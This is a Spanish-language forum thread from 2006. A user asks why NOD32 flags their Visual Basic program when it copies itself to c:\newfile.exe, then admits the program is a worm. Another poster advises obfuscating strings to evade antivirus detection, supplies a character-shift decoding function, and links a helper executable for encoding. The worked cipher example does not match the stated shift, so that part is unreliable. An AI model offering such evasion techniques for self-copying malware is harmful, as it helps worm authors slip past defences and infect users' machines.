Ayuda con antivirus al copiar archivo

Iniciado por unish, 23 Diciembre 2006, 21:03 PM

0 Miembros y 1 Visitante están viendo este tema.

unish

Estoy intentando copiar el mismo archivo a otro directorio, para esto uso:

Filecopy (app.path + "\" + app.exename + ".exe", "c:\newfile.exe")

En una pc donde no tiene antivirus esto ocurre normailemte, pero lo probe en una pc con antivirus y me aparece una alerta, se trata del nod32.

Me parece raricimo que ocurra esto solo por copiar un archivo, existe alguna otra forma de hacer lo que estoy intentando ?
:huh:
Gracias de antemano.

DrakoX

#1
CitarFilecopy (app.path + "\" + app.exename + ".exe", "c:\newfile.exe")

nunk supe que se pudiese utilizaR +,
toda la vida utilize &,
y en mi kso lo ahria de esta forma
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\newfile.exe"

pero la verda es algho rarisimo, nunk me paso,
y eso q yo utilizo el Nod32,
y de ninguna de las dos formas me salto alguna alerta

salu2

unish

Ahh... decis que nunca te dio una alerta, pero tampoco copiando .exe ?..

Entonces debo tener algo sospechoso dentro del file..
Gracias

DrakoX

por mas que lo copie,
no sale nada,
y eso no es problema ni del nod ni del codigo,
yo diria que tienes algo en ese file

salu2

unish

Es que lo que me parece super raro es que si le sako esa funcion al archivo y lo uso normalmente no pasa nada...

y al agregarle la linea de filecopy... :S salta el nod..
capaz no analiza el arhcivo y al copiarlo si o un tipo de analizacion mas avanzado.. no tengo idea.

DrakoX

lo que si puede pasar,
es que analize el directorio a donde el archivo va a ser copiado,
y que ahi alla algo,

sino,
puede ser que el cod entero + esa linea,
tenga posibilidad de ser un worm o virus,
y que el nod lo detecte por heuristica,

encambio sin esa linea,
el nod no lo detecta como amenaza.

salu2

unish

Si, es lo que supuse..
Si, este archivo forma... un... worm digamos xD!!

Es lo que supuse desde un principrio, asi que ahora estoy buscando la forma de hacer una copia con otro cod.
o de generar el archivo exe.

Pero no creo que tenga suerte.
Gracias!

DrakoX

xq no lo encriptas???

talvez eso te ayude

salu2

unish

mm.. igualmente todo codigo cifrado se descifra cuando se ejecuta.

que me recomendas ?

DrakoX

por mas que se desencripte en cuanto se ejecute,
esto previene la detección de los antivirus,
pera cifrar cadenas de caracteres o numeros o lo que sea,
dentro del codigo,

te recomiendo algo como esto, que es lo que utilizo yo:
Public Function x(j)
On Error Resume Next
For r = 1 To Len(j)
x = x & Chr(Asc(Mid(j, r, 1)) - 56)
Next r
End Function


esto es algo bien simple, y es efectivo,

al ser una función se utiliza de la siguiente manera,
encualquier parte del code:

x("texto cifrado")

este texto cifrado,
no pude tener cualquier tipo de encriptacoón,
sino que a cada caracter se le deben sumar 56 posiciónes
en la tabla ascii.

para no complicarte la vida, y hacerte todo esto mas fácil,
hice un programa que lo que hace es sumar o restar 56 posiciónes en la tabla de numeros ascii.

este es el preograma:
http://rapidshare.com/files/8723817/ASCII.exe

lo unico que tienes que hacer es
escribir el texto, donde se indica y poner Encryptar,
una vez cifrado, donde pusiste ese texto,
aparecera el texto cifrado

si x ejemplo esto cifrado:
App.Path & "\" & App.EXEName & ".exe", "c:\newfile.exe"
teda como resultado esto:
qwepqjrpqiwhroqwhr

lo que se hace es:

FileCopy x("qwepqjrpqiwhroqwhr")

Bueno, espero que me allas entendido, y que esto te sirva,
cualquier duda pregunta

salu2